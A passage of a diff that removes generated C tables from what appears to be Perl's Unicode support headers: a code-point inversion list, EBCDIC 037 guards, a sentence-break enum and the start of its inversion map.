- 0x2E43, - 0x3000, - 0x3001, - 0x3002, - 0x3003, - 0x3005, - 0x3008, - 0x3012, - 0x3014, - 0x301C, - 0x301D, - 0x3020, - 0x3021, - 0x302A, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA4FF, - 0xA500, - 0xA60D, - 0xA60E, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA6F3, - 0xA6F4, - 0xA6F7, - 0xA6F8, - 0xA717, - 0xA720, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA789, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA78F, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xA7F7, - 0xA7F8, - 0xA7FB, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA840, - 0xA874, - 0xA876, - 0xA878, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8CE, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA90A, - 0xA926, - 0xA92E, - 0xA92F, - 0xA930, - 0xA947, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9C8, - 0xA9CA, - 0xA9CF, - 0xA9D0, - 0xA9DA, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA37, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5D, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF0, - 0xAAF2, - 0xAAF5, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABC0, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE10, - 0xFE12, - 0xFE13, - 0xFE14, - 0xFE17, - 0xFE19, - 0xFE20, - 0xFE30, - 0xFE31, - 0xFE33, - 0xFE35, - 0xFE45, - 0xFE47, - 0xFE49, - 0xFE50, - 0xFE52, - 0xFE53, - 0xFE55, - 0xFE56, - 0xFE58, - 0xFE59, - 0xFE5F, - 0xFE63, - 0xFE64, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF02, - 0xFF08, - 0xFF0A, - 0xFF0C, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1B, - 0xFF1F, - 0xFF20, - 0xFF21, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF41, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF61, - 0xFF62, - 0xFF64, - 0xFF65, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFF9, - 0xFFFC, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x10428, - 0x10450, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A56, - 0x10A58, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x11049, - 0x11066, - 0x11070, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11136, - 0x11140, - 0x11141, - 0x11144, - 0x11150, - 0x11173, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111C7, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111D0, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111DE, - 0x111E0, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112AA, - 0x112B0, - 0x112DF, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x1144D, - 0x11450, - 0x1145A, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115C2, - 0x115C4, - 0x115C9, - 0x115D8, - 0x115DC, - 0x115DE, - 0x11600, - 0x11630, - 0x11641, - 0x11643, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116AB, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x1173C, - 0x1173F, - 0x118A0, - 0x118C0, - 0x118E0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A42, - 0x11A44, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11A9A, - 0x11A9B, - 0x11A9D, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C41, - 0x11C43, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16AF6, - 0x16B00, - 0x16B30, - 0x16B37, - 0x16B39, - 0x16B40, - 0x16B44, - 0x16B45, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D455, - 0x1D456, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4B6, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D538, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6E2, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D71C, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D756, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D790, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CA, - 0x1D7CB, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA88, - 0x1DA89, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E922, - 0x1E944, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x1F676, - 0x1F679, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -typedef enum { - SB_Other = 0, - SB_ATerm = 1, - SB_CR = 2, - SB_Close = 3, - SB_Extend = 4, - SB_Format = 5, - SB_LF = 6, - SB_Lower = 7, - SB_Numeric = 8, - SB_OLetter = 9, - SB_SContinue = 10, - SB_STerm = 11, - SB_Sep = 12, - SB_Sp = 13, - SB_Upper = 14, - SB_EDGE = 15 -} SB_enum; - -static const SB_enum _Perl_SB_invmap[] = { /* for EBCDIC 037 */ - SB_Other, - SB_Sp, - SB_Other, - SB_Sp, - SB_CR, - SB_Other, - SB_Sep, - SB_Other, - SB_LF, - SB_Other, - SB_Sp, - SB_Lower, - SB_Other, - SB_ATerm, - SB_Other, - SB_Close, - SB_Other, - SB_Lower, - SB_STerm, - SB_Other, - SB_Close, - SB_Other, - SB_SContinue, - SB_Other, - SB_Upper, - SB_Other, - SB_SContinue, - SB_Other, - SB_STerm, - SB_Lower, - SB_Upper, - SB_Other, - SB_SContinue, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Upper, - SB_Lower, - SB_Close, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Upper, - SB_Format, - SB_Lower, - SB_Close, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Numeric, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Lower, - SB_OLetter, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Other, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Extend, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_OLetter, - SB_Other, - SB_SContinue, - SB_Other, - SB_Lower, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Format, - SB_Other, - SB_SContinue, - SB_Other, - SB_Extend, - SB_Other, - SB_Format, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Extend, - SB_Numeric, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_STerm, - SB_OLetter, - SB_Extend, - 